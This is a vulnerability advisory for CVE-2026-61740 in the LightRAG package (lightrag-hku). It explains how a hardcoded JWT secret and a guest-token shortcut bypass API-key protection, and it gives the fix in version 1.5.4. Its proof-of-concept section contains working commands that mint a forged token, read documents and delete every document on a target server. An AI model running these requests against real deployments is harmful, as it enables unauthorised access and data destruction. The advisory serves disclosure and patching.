criticalCVE-2026-61740Jul 20, 2026

CVE-2026-61740: LightRAG Authentication Bypass via Hardcoded JWT Secret and Guest Token Short-Circuit

Rohit Hatagale
AI Security Researcher, SecureLayer7

LightRAG servers configured with only an API key for protection can be fully bypassed by any anonymous attacker using a JWT minted offline with a hardcoded secret that ships in the source code, or by

Packagelightrag-hku
Ecosystempip
Affected< 1.5.4
Fixed in1.5.4

The problem

LightRAG ships a hardcoded JWT signing secret, `"lightrag-jwt-default-secret-key!"`, in `lightrag/api/config.py` as `DEFAULT_TOKEN_SECRET`. When `AUTH_ACCOUNTS` is not set but `LIGHTRAG_API_KEY` is (the documented "simple API-Key" mode), `auth.py` silently falls back to this public secret with only a warning log.

The `GET /auth-status` and `POST /login` endpoints require no credentials and freely mint guest JWTs in this configuration. The `combined_dependency` function in `utils_api.py` then short-circuits authorization on any valid guest token before reaching the X-API-Key check, letting the forged token bypass the only protection the operator believes is in place.

All document, graph, query, and cache endpoints become accessible to any unauthenticated remote caller.

Proof of concept

A working proof-of-concept for CVE-2026-61740 in lightrag-hku, with the exact payload below.

bash
# Step 1: mint an offline guest JWT using the hardcoded secret
python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub": "guest", "role": "guest",
     "exp": datetime.now(timezone.utc) + timedelta(hours=24),
     "metadata": {"auth_mode": "disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY

# OR skip step 1: /auth-status hands out a guest JWT to anyone with no credentials
curl -s http://target:9876/auth-status

# Step 2: use the guest JWT against any guarded endpoint (no X-API-Key needed)
curl -s -H "Authorization: Bearer <TOKEN_FROM_STEP_1_OR_AUTH_STATUS>" \
    http://target:9876/documents
# => HTTP 200, document list returned

# Destructive variant: delete all documents
curl -s -X DELETE \
    -H "Authorization: Bearer <TOKEN>" \
    http://target:9876/documents
# => {"status":"success","message":"All documents cleared successfully."}

The root cause is a three-part logic failure. First, `config.py` exports `DEFAULT_TOKEN_SECRET="lightrag-jwt-default-secret-key!"` as a fallback, making the signing secret universally known. Second, `auth.py` uses that fallback without raising an error when `AUTH_ACCOUNTS` is absent, so any token signed with the public secret passes signature verification.

The critical amplifier is in `utils_api.py`'s `combined_dependency`: the condition `if not auth_configured and token_info.get("role") == "guest": return` fires before the API key check at line 237, so a valid guest token, whether minted offline or obtained from `/auth-status`, exits the auth function cleanly without ever testing `X-API-Key`.

The patch (PR #3319, commit `f7819aa`) removes this early-return short-circuit so that an active `LIGHTRAG_API_KEY` is always enforced regardless of token role, and also gates `/auth-status` and `/login` from issuing guest JWTs when an API key is configured.

The fix

Upgrade `lightrag-hku` to version 1.5.4 or later. The fix in PR #3319 (commit `f7819aa`) removes the guest-token short-circuit in `combined_dependency` and stops `/auth-status` and `/login` from issuing guest JWTs when `LIGHTRAG_API_KEY` is set. For defense in depth, also set `TOKEN_SECRET` to a random value in your environment so the hardcoded default is never used, even with no accounts configured.

Reported by patchmyday (Jason Zhang).

References: [1][2][3][4][5][6]

Related research